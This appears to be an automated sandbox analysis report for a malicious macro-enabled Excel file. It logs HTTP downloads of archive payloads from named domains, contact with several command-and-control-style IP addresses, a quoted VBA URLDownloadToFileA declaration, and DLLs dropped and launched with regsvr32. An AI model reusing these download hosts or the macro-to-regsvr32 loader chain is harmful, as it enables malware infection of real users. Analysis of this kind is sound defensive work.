Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 194.225.58.214
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown	TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown	TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 69.164.207.140
Source: unknown	TCP traffic detected without corresponding DNS query: 198.57.200.100
Source: unknown	TCP traffic detected without corresponding DNS query: 198.57.200.100

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\C7A618C6.emf

Jump to behavior

Source: global traffic	HTTP traffic detected: GET /h79fwesfe.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: monitrade.netConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ys95lm6k.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: bafnabrotherskesarwala.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /xkpffwn.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: artec.com.trConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /ylztwx.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: www.gastronauts.asiaConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /uzssv27.rar HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: laureys.beConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /cgi-sys/suspendedpage.cgi HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: laureys.beConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /by9zwa7p1.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: cms.ivpr.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /d8ms3mljy.zip HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: salaodigitalautomovel.pt.deve.ptConnection: Keep-Alive

Source: regsvr32.exe, 00000006.00000002.2400051881.0000000000405000.00000004.00000020.sdmp	String found in binary or memory: /moc.nideknil.wwwwww.linkedin.com equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000006.00000002.2400051881.0000000000405000.00000004.00000020.sdmp	String found in binary or memory: www.linkedin.com equals www.linkedin.com (Linkedin)
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: www.login.yahoo.com0 equals www.yahoo.com (Yahoo)

Source: unknown

DNS traffic detected: queries for: monitrade.net

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Jan 2021 15:13:21 GMTServer: ApacheContent-Length: 315Keep-Alive: timeout=5, max=100Connection: Keep-AliveContent-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.comodoca.com/UTN-USERFirst-Hardware.crl06
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/2048ca.crl0
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.entrust.net/server1.crl0
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en#0
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab5t
Source: regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/env
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp	String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://ocsp.entrust.net0D
Source: regsvr32.exe, 00000002.00000002.2107200716.0000000001D70000.00000002.00000001.sdmp, regsvr32.exe, 00000004.00000002.2406809963.0000000001CF0000.00000002.00000001.sdmp, regsvr32.exe, 00000005.00000002.2112116772.0000000001D50000.00000002.00000001.sdmp, regsvr32.exe, 00000006.00000002.2419749632.0000000000880000.00000002.00000001.sdmp, regsvr32.exe, 00000007.00000002.2113665422.0000000001D90000.00000002.00000001.sdmp, regsvr32.exe, 00000008.00000002.2120190682.0000000001D30000.00000002.00000001.sdmp, regsvr32.exe, 00000009.00000002.2114236047.0000000001D60000.00000002.00000001.sdmp, regsvr32.exe, 0000000A.00000002.2124921151.0000000001DF0000.00000002.00000001.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 00000006.00000002.2400015842.00000000003F9000.00000004.00000020.sdmp	String found in binary or memory: https://194.225.58.214/
Source: regsvr32.exe, 00000006.00000002.2400015842.00000000003F9000.00000004.00000020.sdmp	String found in binary or memory: https://194.225.58.214/5
Source: regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: https://194.225.58.214/9
Source: regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp, regsvr32.exe, 0000000E.00000002.2405408190.0000000000590000.00000004.00000020.sdmp	String found in binary or memory: https://198.57.200.100/
Source: regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp	String found in binary or memory: https://198.57.200.100:3786/
Source: regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp	String found in binary or memory: https://198.57.200.100:3786/hy;R
Source: regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 0000000E.00000002.2405408190.0000000000590000.00000004.00000020.sdmp	String found in binary or memory: https://211.110.44.63/
Source: regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: https://211.110.44.63/h
Source: regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: https://211.110.44.63/~
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: https://211.110.44.63:5353/
Source: regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp, regsvr32.exe, 0000000E.00000002.2405408190.0000000000590000.00000004.00000020.sdmp	String found in binary or memory: https://69.164.207.140/
Source: regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: https://69.164.207.140/q
Source: regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp, regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp	String found in binary or memory: https://69.164.207.140:3388/
Source: regsvr32.exe, 00000006.00000002.2410021140.000000000047D000.00000004.00000020.sdmp	String found in binary or memory: https://69.164.207.140:3388/hy
Source: regsvr32.exe, 00000006.00000002.2400185744.0000000000451000.00000004.00000020.sdmp, regsvr32.exe, 0000000C.00000003.2294632525.00000000003E8000.00000004.00000001.sdmp	String found in binary or memory: https://secure.comodo.com/CPS0

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49225
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49302
Source: unknown	Network traffic detected: HTTP traffic on port 49288 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49222
Source: unknown	Network traffic detected: HTTP traffic on port 49294 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49187
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49264
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49186
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49183
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49260
Source: unknown	Network traffic detected: HTTP traffic on port 49246 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49204 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49279 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49191 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49199 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49271 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49216
Source: unknown	Network traffic detected: HTTP traffic on port 49302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49293 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49257
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49179
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49212
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49294
Source: unknown	Network traffic detected: HTTP traffic on port 49249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49293
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49171
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49170
Source: unknown	Network traffic detected: HTTP traffic on port 49228 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49241 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49309 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49209
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49249
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49204
Source: unknown	Network traffic detected: HTTP traffic on port 49244 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49246
Source: unknown	Network traffic detected: HTTP traffic on port 49187 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49305 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49244
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49288
Source: unknown	Network traffic detected: HTTP traffic on port 49183 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49286
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49241
Source: unknown	Network traffic detected: HTTP traffic on port 49286 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49283
Source: unknown	Network traffic detected: HTTP traffic on port 49209 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49225 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49283 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49170 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49212 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49216 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49238
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49279
Source: unknown	Network traffic detected: HTTP traffic on port 49186 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49199
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49232
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49271
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49264 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49270
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49192
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49191
Source: unknown	Network traffic detected: HTTP traffic on port 49260 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49257 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49171 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49192 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49179 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49309
Source: unknown	Network traffic detected: HTTP traffic on port 49270 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49228
Source: unknown	Network traffic detected: HTTP traffic on port 49232 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49305

System Summary:

Document contains an embedded VBA macro which may execute processes

Show sources

Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function mi_1, API Run("forsS_mo")			Name: mi_1
Source: VBA code instrumentation	OLE, VBA macro: Module Module1, Function mi_1, API Run("forsS_mo")			Name: mi_1

Document contains an embedded VBA macro with suspicious strings

Show sources

Source: printouts of outstanding as of 01_20_2021.xlsm	OLE, VBA macro line: Private Declare PtrSafe Function P_Click_Box Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As LongPtr, ByVal lpfnCB As LongPtr ) As Long
Source: printouts of outstanding as of 01_20_2021.xlsm	OLE, VBA macro line: Private Declare PtrSafe Function P_Click_Box Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As LongPtr, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As LongPtr, ByVal lpfnCB As LongPtr ) As Long
Source: printouts of outstanding as of 01_20_2021.xlsm	OLE, VBA macro line: Private Declare Function P_Click_Box Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long ) As Long
Source: printouts of outstanding as of 01_20_2021.xlsm	OLE, VBA macro line: Private Declare Function P_Click_Box Lib "urlmon" Alias "URLDownloadToFileA" ( ByVal pCaller As Long, ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, ByVal lpfnCB As Long ) As Long

Found Excel 4.0 Macro with suspicious formulas

Show sources

Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: CALL
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: CALL
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: CALL
Source: printouts of outstanding as of 01_20_2021.xlsm	Initial sample: CALL

Office process drops PE file

Show sources

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\by9zwa7p1[1].zip	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\ylztwx[1].rar	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\zsijkwsd.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\ogsit.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\xkpffwn[1].zip	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Temp\zlgzuxvz.dll	Jump to dropped file
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\h79fwesfe[1].rar	Jump to dropped file

Source: C:\Windows\SysWOW64\regsvr32.exe

Process Stats: CPU usage > 98%

Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76D20000 page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76D20000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\regsvr32.exe	Memory allocated: 76D20000 page execute and read and write

Source: printouts of outstanding as of 01_20_2021.xlsm	OLE, VBA macro line: Private Sub vbox1_cli_Layout()
Source: VBA code instrumentation	OLE, VBA macro: Module Sheet1, Function vbox1_cli_Layout			Name: vbox1_cli_Layout

Source: printouts of outstanding as of 01_20_2021.xlsm

OLE indicator, VBA macros: true

Source: classification engine

Classification label: mal100.expl.evad.winXLSM@41/22@7/11

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\Desktop\~$printouts of outstanding as of 01_20_2021.xlsm

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVRE30E.tmp

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\regsvr32.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SysWOW64\regsvr32.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: printouts of outstanding as of 01_20_2021.xlsm	Virustotal: Detection: 24%
Source: printouts of outstanding as of 01_20_2021.xlsm	ReversingLabs: Detection: 11%

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE 'C:\Program Files\Microsoft Office\Office14\EXCEL.EXE' /automation -Embedding
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll
Source: unknown	Process created: C:\Windows\System32\regsvr32.exe 'C:\Windows\System32\regsvr32.exe' -s C:\Users\user\AppData\Local\Temp\zdkvrlsh.dll
Source: unknown	Process created: C:\Windows\SysWOW64\regsvr32.exe -s C:\Users\user\AppData\Local\Temp\zsijkwsd.dll
